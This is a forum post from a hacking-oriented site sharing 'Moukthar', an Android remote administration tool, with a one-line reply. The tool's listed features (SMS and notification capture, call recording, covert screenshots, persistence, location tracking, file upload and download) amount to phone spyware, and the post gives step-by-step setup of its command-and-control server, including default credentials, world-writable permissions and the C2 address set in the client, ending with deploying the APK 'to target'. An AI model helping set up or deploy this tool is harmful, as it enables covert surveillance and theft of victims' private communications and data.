# Moukthar | Android Remote Administration Tool

**URL:** <https://onehack.st/t/moukthar-android-remote-administration-tool/277305>\
**Category:** Tools & Scripts\
**Tags:** tools, programming, freebies, android\
**Created:** [March 8, 2024, 9:17pm UTC](https://onehack.st/t/moukthar-android-remote-administration-tool/277305 "2024-03-08T21:17:06Z")\
**Posts on this page:** 2\
**Page:** 1

<div class="post-metadata">

**Author:** ![BlueHacker](https://onehack.st/user_avatar/onehack.st/bluehacker/32/174721_2.png) [@BlueHacker](https://onehack.st/u/BlueHacker)\
**Post date:** [March 8, 2024, 9:17pm UTC](https://onehack.st/t/moukthar-android-remote-administration-tool/277305/1 "2024-03-08T21:17:06Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/6/7/6777c36dfda72f062c118ef89ddc741922b52adb.png)

## Moukthar

Remote adminitration tool for android

### Features

- Notifications listener
- SMS listener
- Phone call recording
- Image capturing and screenshots
- Persistence
- Read & write contacts
- List installed applications
- Download & upload files
- Get device location

### Installation

- Clone repository

git clone [https://github.com/Tomiwa-Ot/moukthar.git](https://github.com/Tomiwa-Ot/moukthar.git)

- Install php, composer, mysql, php-mysql driver, apache2 and a2enmod
- Move server files to `/var/www/html/` and install dependencies

mv moukthar/Server/\* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web-ocket/ composer install cd /var/www chown -R www-data:www-data . chmod -R 777 .

The default credentials are username: `android` and password: `the rastafarian in you`

- Create new sql user

CREATE USER ‘android’@‘localhost’ IDENTIFIED BY ‘your-password’; GRANT ALL PRIVILEGES ON _._ TO ‘android’@‘localhost’; FLUSH PRIVILEGES;

- Set database credentials in `c2-server/.env` and `web-socket/.env`
- Execute `database.sql`
- Start web socket server or deploy as service in linux

php Server/web-socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service

- Modify `/etc/apache2/sites-available/000-default.conf`

\<VirtualHost \*:80\> ServerAdmin webmaster@localhost DocumentRoot /var/www/html/c2-server DirectoryIndex app.php Options -Indexes ErrorLog ${APACHE\_LOG\_DIR}/error.log CustomLog ${APACHE\_LOG\_DIR}/access.log combined

- Modify `/etc/apache2/apache2.conf`

Comment this section # # Options FollowSymLinks # AllowOverride None # Require all denied # Add this \<Directory /var/www/html/c2-server\> Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted

- Set web socket server address in tag in `c2-server/src/View/home.php`

const ws = new WebSocket(‘ws://IP\_ADDRESS:8080’);

- Restart apache using the command below

sudo a2enmod rewrite && sudo service apache2 restart

- Set C2 server and web socket server address in client `functionality/Utils.java`

public static final String C2\_SERVER = “[http://localhost](http://localhost)”; public static final String WEB\_SOCKET\_SERVER = “ws://localhost:8080”;

- Compile APK using Android Studio and deploy to target

### Screenshots

[![Dashboard](https://github.com/Tomiwa-Ot/moukthar/raw/main/screenshots/c2.png)](https://github.com/Tomiwa-Ot/moukthar/blob/main/screenshots/c2.png)

### TODO

- Auto scroll logs on dashboard
- Image, video and screenshot
- List files

## GitHub:

> **[GitHub - Tomiwa-Ot/moukthar: Android remote administration tool](https://github.com/Tomiwa-Ot/moukthar)**
>
> Android remote administration tool

---

<div class="post-metadata">

**Author:** ![SAm4321](https://onehack.st/user_avatar/onehack.st/sam4321/32/151097_2.png) [@SAm4321](https://onehack.st/u/SAm4321)\
**Post date:** [March 9, 2024, 2:30am UTC](https://onehack.st/t/moukthar-android-remote-administration-tool/277305/2 "2024-03-09T02:30:34Z")

</div>

Sound cool will try 😂
